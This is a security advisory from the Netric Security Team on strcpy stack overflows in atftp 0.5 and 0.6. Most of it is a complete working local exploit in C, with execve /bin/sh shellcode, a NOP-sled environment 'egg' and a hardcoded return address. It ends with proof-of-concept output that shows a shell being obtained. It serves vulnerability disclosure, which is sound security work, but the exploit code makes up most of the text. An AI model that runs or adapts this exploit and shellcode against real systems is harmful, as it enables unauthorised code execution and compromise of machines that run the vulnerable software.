Netric Security Team - http://www.netric.[org|be] By sacrine atftp-0.6 type: stack overflow(s)(multiple) Priority: 6 [1] Description [2] Vulnerable [3] Exploit [4] Proof of concept [5] Vendor response [6] Patches [01] Description atftp is a client/server implementation of the TFTP protocol, that implements RFCs 1350, 2090, 2347, 2348, and 2349. packages can be downloaded here: ftp://ftp.mamalinux.com/pub/atftp/ There are several vulnerabilities, mostly with the well known "strcpy" problem. An example: .. strcpy(filename, directory); char filename(MAXLEN); .. this unchecked buffer can easily be exploited, there are more of these vulnerabilities, but we'll discuss only this one, the one in the "get file" option / the "-g" option. [2] Vulnerable I only tested the last 2 packages, but the previous versions are most likely vulnerable too. atftp-0.5 - vulnerable: YES - exploitable: YES atftp-0.6 - vulnerable: YES - exploitable: YES [3] Exploit /* * atftp.0.5 * atftp.0.6 - local proof of concept exploit * exploits an unchecked buffer in the "get file" option "-g" * * return addr tested on redhat 7.3 - 0xbffffbcc * change for other systems - ./k3 <offset> * * Netric Security(RESOURCE MATERIAL) * http://www.netric.org * written by sacrine */ #include <stdio.h> #include <unistd.h> #include <string.h> #include <stdlib.h> #define EGG 1024 #define BUFLEN (356+9) #define NOP 0x90 /* eSDee's execve /bin/sh shellcode */ char shellcode[] = "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx "\x50" // push %eax "\x53" // push %ebx "\x8d\x0c\x24" // lea (%esp,1),%ecx "\xb0\x0b" // mov $0xb,%al "\xcd\x80"; // int $0x80 int main(int argc, char **argv[]) { unsigned long ret = 0xbffffbcc; char buf[BUFLEN]; char egg[EGG]; int c; char *ptr; long *ptr2; int i=0; if(argc>1) { ret = ret - atol(argv[1]); } memset(buf,NOP,sizeof(buf)); ptr=egg; for (i=0; i<1024-strlen(shellcode)-1;i++)*(ptr++) = '\x90'; for (i=0; i<strlen(shellcode);i++)*(ptr++) = shellcode[i]; egg[1024-1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); ptr2 = buf; for(c = 0; c < sizeof(buf); c+=4) *(ptr2++) = ret; fprintf(stdout,"------------------------------------------------(www.netric.org)\n"); fprintf(stdout," local atftp-0.x proof of concept exploit\n"); fprintf(stdout,"(sacrine)-------------------------------------------------------\n\n"); fprintf(stdout,"return addr: 0x%x\n",ret); fprintf(stdout,"buffer : %d\n\n",strlen(buf)); execl("atftp", "atftp","-g",buf, NULL); return(0); } [4] Proof of concept [sacrine@workstation_01 atftp-0.5]$ ./k3 ------------------------------------------------(www.netric.org) local atftp-0.x proof of concept exploit (sacrine)------------------------------------------------------- return addr: 0xbffffbcc buffer : 401 tftp: unknown host МыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїМыяїB. Usage: get remote_file [local_file] sh-2.05a$ [5] Vendor response Vendor has been contacted, but has not responded yet. [6] Patches none yet [EOF]